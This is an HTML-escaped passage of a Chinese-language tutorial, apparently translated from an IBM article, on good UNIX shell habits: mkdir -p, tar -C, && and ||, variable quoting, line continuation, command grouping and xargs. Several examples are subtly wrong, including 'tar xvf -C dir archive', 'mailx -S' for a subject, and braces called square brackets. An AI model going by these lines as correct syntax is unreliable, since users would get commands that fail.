&lt;code&gt;xargs&lt;/code&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#eight"&gt;了解何时 &lt;code&gt;grep&lt;/code&gt; 应该执行计数——何时应该绕过&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#nine"&gt;匹配输出中的某些字段，而不只是对行进行匹配&lt;/a&gt;。&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#ten"&gt;停止对 &lt;code&gt;cat&lt;/code&gt; 使用管道&lt;/a&gt;。&lt;/li&gt;&lt;/ol&gt;   &lt;br /&gt;&lt;span class=fullpost&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="one"&gt;&lt;span class="atitle"&gt;在单个命令中创建目录树&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;   &lt;p&gt;清单 1 演示了最常见的 UNIX 坏习惯之一：一次定义一个目录树。&lt;/p&gt; &lt;br /&gt;&lt;a name="listing1"&gt;&lt;b&gt;清单 1. 坏习惯 1 的示例：单独定义每个目录树&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt; &lt;br /&gt;~ $ &lt;span class="boldcode"&gt;mkdir tmp&lt;/span&gt;&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;cd tmp&lt;/span&gt;&lt;br /&gt;~/tmp $ &lt;span class="boldcode"&gt;mkdir a&lt;/span&gt;&lt;br /&gt;~/tmp $ &lt;span class="boldcode"&gt;cd a&lt;/span&gt;&lt;br /&gt;~/tmp/a $ &lt;span class="boldcode"&gt;mkdir b&lt;/span&gt;&lt;br /&gt;~/tmp/a $ &lt;span class="boldcode"&gt;cd b&lt;/span&gt;&lt;br /&gt;~/tmp/a/b/ $ &lt;span class="boldcode"&gt;mkdir c&lt;/span&gt;&lt;br /&gt;~/tmp/a/b/ $ &lt;span class="boldcode"&gt;cd c&lt;/span&gt;&lt;br /&gt;~/tmp/a/b/c $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;使用 &lt;code&gt;mkdir&lt;/code&gt; 的 &lt;code&gt;-p&lt;/code&gt; 选项并在单个命令中创建所有父目录及其子目录要容易得多。但是即使对于知道此选项的管理员，他们在命令行上创建子目录时也仍然束缚于逐步创建每级子目录。花时间有意识地养成这个好习惯是值得的：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing2"&gt;&lt;b&gt;清单 2. 好习惯 1 的示例：使用一个命令来定义目录树&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;mkdir -p tmp/a/b/c&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;您可以使用此选项来创建整个复杂的目录树（在脚本中使用是非常理想的），而不只是创建简单的层次结构。例如：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing3"&gt;&lt;b&gt;清单 3. 好习惯 1 的另一个示例：使用一个命令来定义复杂的目录树&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;mkdir -p project/{lib/ext,bin,src,doc/{html,info,pdf},demo/stat/a}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;过去，单独定义目录的唯一借口是您的 &lt;code&gt;mkdir&lt;/code&gt; 实现不支持此选项，但是在大多数系统上不再是这样了。IBM、AIX®、&lt;code&gt;mkdir&lt;/code&gt;、GNU &lt;code&gt;mkdir&lt;/code&gt; 和其他遵守单一 UNIX 规范 (Single UNIX Specification) 的系统现在都具有此选项。&lt;/p&gt; &lt;p&gt;对于仍然缺乏该功能的少数系统，您可以使用 &lt;code&gt;mkdirhier&lt;/code&gt; 脚本（请参见&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#resources"&gt;参考资料&lt;/a&gt;），此脚本是执行相同功能的 &lt;code&gt;mkdir&lt;/code&gt; 的包装：&lt;/p&gt;  &lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;mkdirhier project/{lib/ext,bin,src,doc/{html,info,pdf},demo/stat/a}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;  &lt;p&gt;&lt;a name="two"&gt;&lt;span class="atitle"&gt;更改路径；不要移动存档&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;另一个不良的使用模式是将 .tar 存档文件移动到某个目录，因为该目录恰好是您希望在其中提取 .tar 文件的目录。其实您根本不需要这样做。您可以随心所欲地将任何 .tar 存档文件解压缩到任何目录——这就是 &lt;code&gt;-C&lt;/code&gt; 选项的用途。在解压缩某个存档文件时，使用 &lt;code&gt;-C&lt;/code&gt; 选项来指定要在其中解压缩该文件的目录：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing4"&gt;&lt;b&gt;清单 4. 好习惯 2 的示例：使用选项 -C 来解压缩 .tar 存档文件&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;tar xvf -C tmp/a/b/c newarc.tar.gz&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;相对于将存档文件移动到您希望在其中解压缩它的位置，切换到该目录，然后才解压缩它，养成使用 &lt;code&gt;-C&lt;/code&gt; 的习惯则更加可取——当存档文件位于其他某个位置时尤其如此。&lt;/p&gt; &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="three"&gt;&lt;span class="atitle"&gt;将命令与控制操作符组合使用&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;您可能已经知道，在大多数 Shell 中，您可以在单个命令行上通过在命令之间放置一个分号 (;) 来组合命令。该分号是 Shell &lt;i&gt;控制操作符&lt;/i&gt;， 虽然它对于在单个命令行上将离散的命令串联起来很有用，但它并不适用于所有情况。例如，假设您使用分号来组合两个命令，其中第二个命令的正确执行完全依赖 于第一个命令的成功完成。如果第一个命令未按您预期的那样退出，第二个命令仍然会运行——结果会导致失败。相反，应该使用更适当的控制操作符（本文将描述 其中的部分操作符）。只要您的 Shell 支持它们，就值得养成使用它们的习惯。&lt;/p&gt;   &lt;p&gt;&lt;a name="threea"&gt;&lt;span class="smalltitle"&gt;仅当另一个命令返回零退出状态时才运行某个命令&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;使用 &lt;code&gt;&amp;&amp;amp;&lt;/code&gt; 控制操作符来组合两个命令，以便&lt;i&gt;仅当&lt;/i&gt; 第一个命令返回零退出状态时才运行第二个命令。换句话说，如果第一个命令运行成功，则第二个命令将运行。如果第一个命令失败，则第二个命令根本就不运行。例如：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing5"&gt;&lt;b&gt;清单 5. 好习惯 3 的示例：将命令与控制操作符组合使用&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;cd tmp/a/b/c &amp;&amp;amp; tar xvf ~/archive.tar&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;在此例中，存档的内容将提取到 ~/tmp/a/b/c 目录中，除非该目录不存在。如果该目录不存在，则 &lt;code&gt;tar&lt;/code&gt; 命令不会运行，因此不会提取任何内容。&lt;/p&gt;   &lt;p&gt;&lt;a name="threeb"&gt;&lt;span class="smalltitle"&gt;仅当另一个命令返回非零退出状态时才运行某个命令&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;类似地，&lt;code&gt;||&lt;/code&gt; 控制操作符分隔两个命令，并且仅当第一个命令返回非零退出状态时才运行第二个命令。换句话说，如果第一个命令&lt;i&gt;成功&lt;/i&gt;，则第二个命令不会运行。如果第一个命令失败，则第二个命令&lt;i&gt;才会&lt;/i&gt; 运行。在测试某个给定目录是否存在时，通常使用此操作符，如果该目录不存在，则创建它：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing6"&gt;&lt;b&gt;清单 6. 好习惯 3 的另一个示例：将命令与控制操作符组合使用&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;cd tmp/a/b/c || mkdir -p tmp/a/b/c&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;您还可以组合使用本部分中描述的控制操作符。每个操作符都影响最后的命令运行：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing7"&gt;&lt;b&gt;清单 7. 好习惯 3 的组合示例：将命令与控制操作符组合使用&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;cd tmp/a/b/c || mkdir -p tmp/a/b/c &amp;&amp;amp; tar xvf -C tmp/a/b/c ~/archive.tar&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="four"&gt;&lt;span class="atitle"&gt;谨慎引用变量&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;始终要谨慎使用 Shell 扩展和变量名称。一般最好将变量调用包括在双引号中，除非您有不这样做的足够理由。类似地，如果您直接在字母数字文本后面使用变量名称，则还要确保将该变 量名称包括在方括号 ([]) 中，以使其与周围的文本区分开来。否则，Shell 将把尾随文本解释为变量名称的一部分——并且很可能返回一个空值。清单 8 提供了变量的各种引用和非引用及其影响的示例。&lt;/p&gt; &lt;br /&gt;&lt;a name="listing8"&gt;&lt;b&gt;清单 8. 好习惯 4 的示例：引用（和非引用）变量&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;ls tmp/&lt;/span&gt;&lt;br /&gt;a b&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;VAR="tmp/*"&lt;/span&gt;&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;echo $VAR&lt;/span&gt;&lt;br /&gt;tmp/a tmp/b&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;echo "$VAR"&lt;/span&gt;&lt;br /&gt;tmp/*&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;echo $VARa&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;echo "$VARa"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;echo "${VAR}a"&lt;/span&gt;&lt;br /&gt;tmp/*a&lt;br /&gt;~ $ &lt;span class="boldcode"&gt;echo ${VAR}a&lt;/span&gt;&lt;br /&gt;tmp/a&lt;br /&gt;~ $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="five"&gt;&lt;span class="atitle"&gt;使用转义序列来管理较长的输入&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;您或许看到过使用反斜杠 (\) 来将较长的行延续到下一行的代码示例，并且您知道大多数 Shell 都将您通过反斜杠联接的后续行上键入的内容视为单个长行。然而，您可能没有在命令行中像通常那样利用此功能。如果您的终端无法正确处理多行回绕，或者您的 命令行比通常小（例如在提示符下有长路经的时候），反斜杠就特别有用。反斜杠对于了解键入的长输入行的含义也非常有用，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing9"&gt;&lt;b&gt;清单 9. 好习惯 5 的示例：将反斜杠用于长输入&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;cd tmp/a/b/c || \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;mkdir -p tmp/a/b/c &amp;&amp;amp; \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;tar xvf -C tmp/a/b/c ~/archive.tar&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;或者，也可以使用以下配置：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing10"&gt;&lt;b&gt;清单 10. 好习惯 5 的替代示例：将反斜杠用于长输入&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;cd tmp/a/b/c \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;                || \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;mkdir -p tmp/a/b/c \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;                   &amp;&amp;amp; \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;tar xvf -C tmp/a/b/c ~/archive.tar&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;然而，当您将输入行划分到多行上时，Shell 始终将其视为单个连续的行，因为它总是删除所有反斜杠和额外的空格。&lt;/p&gt; &lt;p&gt;&lt;b&gt;注意：&lt;/b&gt;在大多数 Shell 中，当您按向上箭头键时，整个多行输入将重绘到单个长输入行上。&lt;/p&gt; &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="six"&gt;&lt;span class="atitle"&gt;在列表中对命令分组&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;大多数 Shell 都具有在列表中对命令分组的方法，以便您能将它们的合计输出向下传递到某个管道，或者将其任何部分或全部流重定向到相同的地方。您一般可以通过在某个 Subshell 中运行一个命令列表或通过在当前 Shell 中运行一个命令列表来实现此目的。&lt;/p&gt;   &lt;p&gt;&lt;a name="N10222"&gt;&lt;span class="smalltitle"&gt;在 Subshell 中运行命令列表&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;使用括号将命令列表包括在单个组中。这样做将在一个新的 Subshell 中运行命令，并允许您重定向或收集整组命令的输出，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing11"&gt;&lt;b&gt;清单 11. 好习惯 6 的示例：在 Subshell 中运行命令列表&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;( cd tmp/a/b/c/ || mkdir -p tmp/a/b/c &amp;amp;&amp; \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;VAR=$PWD; cd ~; tar xvf -C $VAR archive.tar ) \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;| mailx admin -S "Archive contents"&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;在此示例中，该存档的内容将提取到 tmp/a/b/c/ 目录中，同时将分组命令的输出（包括所提取文件的列表）通过邮件发送到地址 &lt;code&gt;admin&lt;/code&gt;。&lt;/p&gt; &lt;p&gt;当您在命令列表中重新定义环境变量，并且您不希望将那些定义应用于当前 Shell 时，使用 Subshell 更可取。&lt;/p&gt;   &lt;p&gt;&lt;a name="N10247"&gt;&lt;span class="smalltitle"&gt;在当前 Shell 中运行命令列表&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;将命令列表用大括号 ({}) 括起来，以在&lt;i&gt;当前&lt;/i&gt; Shell 中运行。确保在括号与实际命令之间包括空格，否则 Shell 可能无法正确解释括号。此外，还要确保列表中的最后一个命令以分号结尾，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing12"&gt;&lt;b&gt;清单 12. 好习惯 6 的另一个示例：在当前 Shell 中运行命令列表&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;{ cp ${VAR}a . &amp;&amp;amp; chown -R guest.guest a &amp;&amp;amp; \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;tar cvf newarchive.tar a; } | mailx admin -S "New archive"&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/v14/rules/blue_rule.gif" alt="" height="1" width="100%" /&gt;&lt;br /&gt;&lt;img alt="" src="http://www.ibm.com/i/c.gif" border="0" height="6" width="8" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table class="no-print" align="right" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="right"&gt;&lt;td&gt;&lt;img src="http://www.ibm.com/i/c.gif" alt="" height="4" width="100%" /&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;img src="http://www.ibm.com/i/v14/icons/u_bold.gif" alt="" border="0" height="16" width="16" /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right" valign="top"&gt;&lt;a href="http://www.ibm.com/developerworks/cn/aix/library/au-badunixhabits.html?S_TACT=105AGX52&amp;S_CMP=techcsdn#main" class="fbox"&gt;&lt;b&gt;回页首&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a name="seven"&gt;&lt;span class="atitle"&gt;在 find 之外使用 xargs&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;使用 &lt;code&gt;xargs&lt;/code&gt; 工具作为筛选器，以充分利用从 &lt;code&gt;find&lt;/code&gt; 命令挑选的输出。&lt;code&gt;find&lt;/code&gt; 运行通常提供与某些条件匹配的文件列表。此列表被传递到 &lt;code&gt;xargs&lt;/code&gt; 上，后者然后使用该文件列表作为参数来运行其他某些有用的命令，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing13"&gt;&lt;b&gt;清单 13. xargs 工具的经典用法示例&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;find &lt;i&gt;some-file-criteria some-file-path&lt;/i&gt; | \&lt;/span&gt;&lt;br /&gt;&gt; &lt;span class="boldcode"&gt;xargs &lt;i&gt;some-great-command-that-needs-filename-arguments&lt;/i&gt;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;然而，不要将 &lt;code&gt;xargs&lt;/code&gt; 仅看作是 &lt;code&gt;find&lt;/code&gt; 的辅助工具；它是一个未得到充分利用的工具之一，当您养成使用它的习惯时，将会希望进行所有试验，包括以下用法。&lt;/p&gt;   &lt;p&gt;&lt;a name="N1029F"&gt;&lt;span class="smalltitle"&gt;传递空格分隔的列表&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;在最简单的调用形式中，&lt;code&gt;xargs&lt;/code&gt; 就像一个筛选器，它接受一个列表（每个成员分别在单独的行上）作为输入。该工具将那些成员放置在单个空格分隔的行上：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing14"&gt;&lt;b&gt;清单 14. xargs 工具产生的输出示例&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~ $ &lt;span class="boldcode"&gt;xargs&lt;/span&gt;&lt;br /&gt;&lt;span class="boldcode"&gt;a&lt;/span&gt;&lt;br /&gt;&lt;span class="boldcode"&gt;b&lt;/span&gt;&lt;br /&gt;&lt;span class="boldcode"&gt;c&lt;/span&gt;&lt;br /&gt;&lt;span class="boldcode"&gt;&lt;i&gt;Control-D&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;a b c&lt;br /&gt;~ $&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; &lt;p&gt;您可以发送通过 &lt;code&gt;xargs&lt;/code&gt; 来输出文件名的任何工具的输出，以便为其他某些接受文件名作为参数的工具获得参数列表，如以下示例所示：&lt;/p&gt; &lt;br /&gt;&lt;a name="listing15"&gt;&lt;b&gt;清单 15. xargs 工具的使用示例&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="code-outline"&gt;&lt;pre class="displaycode"&gt;~/tmp $ &lt;span class="boldcode"&gt;ls -1 | xargs&lt;/span&gt;&lt;br /&gt;December_Report.pdf README a archive.tar 